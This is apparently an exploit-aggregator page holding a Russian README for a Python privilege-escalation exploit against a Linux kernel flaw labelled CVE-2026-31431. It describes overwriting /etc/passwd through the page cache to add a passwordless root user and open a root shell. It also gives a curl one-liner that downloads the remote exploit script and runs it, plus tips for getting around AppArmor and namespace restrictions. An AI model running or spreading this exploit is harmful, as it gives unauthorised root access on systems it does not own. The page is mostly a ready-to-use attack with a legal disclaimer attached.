Sploitus

Exploit for CVE-2026-31431

kitploit · 2026-08-27

Exploit Code

MARKDOWN106 lines
## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-GUIIMORAES-CVE-2026-31431
![Демонстрация эксплойта CopyFail2](https://assets.kitploit.com/production/public/readmes/53042/aac36e6414b23ddbe142caa697a139779adbcead0d847c681bcb1b5985fa49eb/d54f0d4aa2cc92b38ee272f6482582c68afbddffc97552b8958ea8749223af63-display-v1.webp)

# CopyFail2 (CVE-2026-31431) — реализация на Python

Python-порт эксплойта CopyFail2 для ядра Linux, использующий быстрый путь без COW `MSG_SPLICE_PAGES` в xfrm ESP-in-UDP для непривилегированного повышения привилегий в Linux.

Заменяет запись `nologin`/`false` в `/etc/passwd` на пользователя uid-0 без пароля и открывает root-оболочку через `su`.

## Уязвимость

Ошибка ядра находится в пути UDP splice, используемом инкапсуляцией xfrm ESP-in-UDP. Вызов `splice()` в UDP-сокет с `MSG_SPLICE_PAGES` приводит к отображению страниц в page cache получателя без запуска copy-on-write. Это позволяет записывать в любой файл, отображённый в page cache, даже если он открыт только для чтения.

  * Оригинальная реализация на C: 0xdeadbeefnetwork/Copy_Fail2-Electric_Boogaloo
  * Исправление в апстриме: netdev/net.git



## Требования

  * Ядро Linux >= 6.5 (поддержка MSG_SPLICE_PAGES в UDP)
  * `libcrypto.so` (OpenSSL)
  * Python 3.8+
  * `CAP_NET_ADMIN` или возможность создавать пользовательские пространства имён



## Какую версию использовать

В этом репозитории представлены два варианта. Оба дают одинаковый результат; выбирайте исходя из своих ограничений.

### Быстрый старт (оптимизированный)

root@kitploit:~
    
    
    # Однострочник через pipe
    python3 -c "$(curl -sL https://raw.githubusercontent.com/guiimoraes/copyfail2-py/main/exploit.py)"
    
    # Сохранённый файл
    python3 exploit.py
    
    # Откат изменений
    python3 exploit.py --clean
    

### Быстрый старт (эталонный/raw)

root@kitploit:~
    
    
    python3 exploit_raw.py
    python3 exploit_raw.py --clean
    

В Ubuntu с включённым `apparmor_restrict_unprivileged_userns` сначала сохраните файл и запускайте с диска; режим pipe пропускает обход AppArmor.

root@kitploit:~
    
    
    curl -sL ttps://raw.githubusercontent.com/guiimoraes/copyfail2-py/main/exploit.py > /tmp/x.py
    python3 /tmp/x.py
    

## Как это работает

  1. Перебором подбирается IV для AES-GCM, чей байт keystream при XOR превращает исходный байт `/etc/passwd` в нужное значение.
  2. Устанавливается локальное состояние xfrm ESP-in-UDP на `127.0.0.1:4500`.
  3. Создаётся подконтрольный атакующему файл-подложка, содержащий поддельный заголовок ESP и ICV.
  4. Три диапазона (заголовок ESP, целевой байт из `/etc/passwd`, ICV) передаются через `splice()` в pipe.
  5. Pipe передаётся через `splice()` в UDP-сокет, что запускает ошибку ядра и записывает байт в page cache.
  6. Процесс повторяется для каждого отличающегося байта, чтобы перезаписать строку `nologin`/`false` на `sick::0:0:...:/:/bin/bash`.
  7. `su - sick` открывает root (PAM `nullok` принимает пустой пароль).



## Протестировано

## Устранение неполадок

**`cannot acquire CAP_NET_ADMIN`**

Возможно, в вашем ядре установлено `kernel.unprivileged_userns_clone=0`. Включите его:

root@kitploit:~
    
    
    sudo sysctl kernel.unprivileged_userns_clone=1
    

Если запуск происходит внутри Docker, запустите контейнер с флагом `--privileged` или `--cap-add=SYS_ADMIN`.

## Авторы

  * Hyunwoo Kim (imv4bel) и Kuan-Ting Chen — обнаружение и исправление в апстриме
  * Steffen Klassert — мейнтейнер IPsec, опубликовал исправление
  * Brad Spengler / grsecurity — ввёл термин «copyfail-class»
  * Theori / Xint — оригинальный Copy Fail (CVE-2026-31431)
  * Оригинальный эксплойт на C — 0xdeadbeefnetwork
  * Эксплойт на Python — guiimoraes



## Отказ от ответственности

Этот инструмент предоставляется исключительно для авторизованных исследований в области безопасности и образовательных целей. Не используйте его против систем, которыми вы не владеете или на тестирование которых у вас нет явного разрешения. Авторы не несут ответственности за неправомерное использование или ущерб, причинённый данным программным обеспечением.